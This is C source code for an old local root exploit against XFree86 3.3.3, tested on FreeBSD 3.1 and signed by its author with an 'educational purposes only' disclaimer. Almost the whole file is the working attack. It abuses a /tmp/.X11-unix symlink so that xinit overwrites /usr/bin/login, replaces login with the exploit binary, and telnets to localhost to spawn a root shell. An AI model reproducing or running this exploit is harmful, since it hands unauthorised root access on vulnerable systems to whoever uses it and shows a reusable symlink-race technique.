/*** local XFree 3.3.3-symlink  root-compromise.
 *** Tested under FreeBSD 3.1 (but should work on others 2)
 *** (C) 1999/2000 by Stealthf0rk for the K.A.L.U.G. 
 *** (check out http://www.kalug.lug.net/stealth or /coding for
 ***  other kewl stuff!)
 ***
 *** FOR EDUCATIONAL PURPOSES ONLY!!! USE IT AT YOUR OWN RISK.
 *** Even if this program restores all, you should backup your
 *** login before running this.
 ***/

#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>

#define LOGIN "/usr/bin/login"
#define TELNET "/usr/bin/telnet"

int cp(const char*, const char*, int);

int main(int argc, char **argv)
{

  char *telnet[] = {TELNET, "localhost", NULL};
  char *shell[] = {"/bin/sh", NULL};
  char *X[] = {"/usr/X11R6/bin/xinit", NULL};
  FILE *f = NULL;
  int p = 0;
  char buf[1000] = {0};

  /* the rootshell */
  if (!geteuid() || !getuid())
    {
      unlink(LOGIN);
      cp("/tmp/L", LOGIN, 1);
      chmod(LOGIN, 04555);
      printf("Welcome!\n");
      unlink("/tmp/.X11-unix");
      unlink("/tmp/L");
      execve(*shell, shell, NULL);
    }

  /* back up */
  cp(LOGIN, "/tmp/L", 1);
  if (symlink(LOGIN, "/tmp/.X11-unix") < 0)
    {
      perror("symlink (/tmp/.X11-unix)");
      exit(errno);
    }
  if ((p = fork()) < 0)
    {
      perror("fork");
      exit(errno);
    }
  else if (p > 0)
    {
      sleep(7);
      kill(p, 9);
      cp(argv[0], LOGIN, 1);
      execve(telnet[0], telnet, NULL);
      perror("fatal:");
    }
  else
    {
      printf("Xfree 3.3.3 root-sploit by Stealth. http://www.kalug.lug.net\n");
      printf("\n-> Please give me some seconds... <-\n\n");
      execve(X[0], X, NULL);
    }
  return 0;
}


int cp(const char *from, const char *to, int how)
{
  int in = 0, out = 0, r = 0;
  char buf[1000] = {0};


  printf("cp %s %s\n", from, to);
  /* overwrite ? */
  if (how == 1)
    how = O_RDWR|O_TRUNC|O_CREAT;
  else
    how = O_RDWR|O_CREAT;

  if ((out = open(to, how)) < 0)
    {
      perror("open 1");
      exit(errno);
    }
  if ((in = open(from, O_RDONLY)) < 0)
    {
      perror("open 2");
      exit(errno);
    }
  while ((r = read(in, buf, 1000-1)) > 0)
    {
      write(out,buf,r);
      memset(buf,0,1000);
    }
  close(in);
  close(out);
  return 0;
}
/*                    www.hack.co.za              [2000]*/